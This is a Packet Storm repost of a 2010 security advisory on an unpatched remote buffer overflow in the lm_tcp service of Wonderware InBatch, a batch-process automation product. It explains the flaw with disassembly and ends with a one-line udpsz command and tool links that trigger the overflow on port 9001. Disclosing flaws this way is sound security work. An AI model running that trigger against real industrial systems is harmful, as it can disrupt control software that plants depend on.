exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Wonderware InBatch 9.0sp1 Buffer Overflow

Wonderware InBatch 9.0sp1 Buffer Overflow
Posted Dec 8, 2010
Authored by Luigi Auriemma | Site aluigi.org

Wonderware InBatch versions 9.0sp1 and below suffer from a buffer overflow vulnerability. Use the related file to exploit it.

tags | advisory, overflow
SHA-256 | 2b75b40f8b5d10b1aad656254bc228553139874595ce2d6695d6663ecfb75d50

Wonderware InBatch 9.0sp1 Buffer Overflow

Change Mirror Download
#######################################################################

Luigi Auriemma

Application: Wonderware InBatch
http://global.wonderware.com/EN/Pages/WonderwareInBatchSoftware.aspx
any other software that uses the lm_tcp server (called
"Raima Database lockmgr") like Foxboro I/A Batch
Versions: lm_tcp <= 9.0.0 0248.18.0.0 (InBatch <= 9.0sp1)
Platforms: Windows, Linux
Bug: buffer-overflow
Exploitation: remote, versus server
Date: 07 Dec 2010
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


InBatch is a software for the industry automation sector for creating
batch processes.


#######################################################################

======
2) Bug
======


The lm_tcp service listens (manually or automatically during the
launching of "Environment Display/Manager") on port 9001 and is
vulnerable to a buffer overflow during the copying of a string in a
buffer of 150 bytes which is part of a fixed structure.

The overflow (max 19204 chars) allows only to overwrite the two memory
pointers located after the space assigned to the copying of the string
and they are immediately used for two memset(buffer, 0, 2) operations
with the consequent effect of writing a 16bit 0x0000 in an arbitrary
memory location:

00403E40 |> 8A01 /MOV AL,BYTE PTR DS:[ECX] ; strcpy
00403E42 |. 8802 |MOV BYTE PTR DS:[EDX],AL
00403E44 |. 83C1 01 |ADD ECX,1
00403E47 |. 83C2 01 |ADD EDX,1
00403E4A |. 84C0 |TEST AL,AL
00403E4C |.^75 F2 \JNZ SHORT lm_tcp.00403E40
00403E4E |. 8B4424 24 MOV EAX,DWORD PTR SS:[ESP+24]
00403E52 |. 66:8B48 12 MOV CX,WORD PTR DS:[EAX+12]
00403E56 |. 8B15 48A84000 MOV EDX,DWORD PTR DS:[40A848]
00403E5C |. 66:83E9 78 SUB CX,78
00403E60 |. 66:F7D9 NEG CX
00403E63 |. 1BC9 SBB ECX,ECX
00403E65 |. 83E1 0E AND ECX,0E
00403E68 |. 83C1 58 ADD ECX,58
00403E6B |. 898C16 98000000 MOV DWORD PTR DS:[ESI+EDX+98],ECX
00403E72 |. A1 78A84000 MOV EAX,DWORD PTR DS:[40A878]
00403E77 |. 8B0D 48A84000 MOV ECX,DWORD PTR DS:[40A848]
00403E7D |. 8B940E 9C000000 MOV EDX,DWORD PTR DS:[ESI+ECX+9C] ; first pointer overwritten
00403E84 |. 50 PUSH EAX
00403E85 |. 52 PUSH EDX
00403E86 |. E8 050C0000 CALL lm_tcp.00404A90 ; memset
00403E8B |. A1 78A84000 MOV EAX,DWORD PTR DS:[40A878]
00403E90 |. 8B0D 48A84000 MOV ECX,DWORD PTR DS:[40A848]
00403E96 |. 8B940E A0000000 MOV EDX,DWORD PTR DS:[ESI+ECX+A0] ; second pointer overwritten
00403E9D |. 50 PUSH EAX
00403E9E |. 52 PUSH EDX
00403E9F |. E8 EC0B0000 CALL lm_tcp.00404A90 ; memset


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://www.exploit-db.com/sploits/udpsz.zip

udpsz -C "00004b14 00000000 00000001 00000000 0001 0000" -b 0x61 -T SERVER 9001 0x4b18


#######################################################################

======
4) Fix
======


No fix.


#######################################################################

Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    37 Files
  • 27
    Feb 27th
    34 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close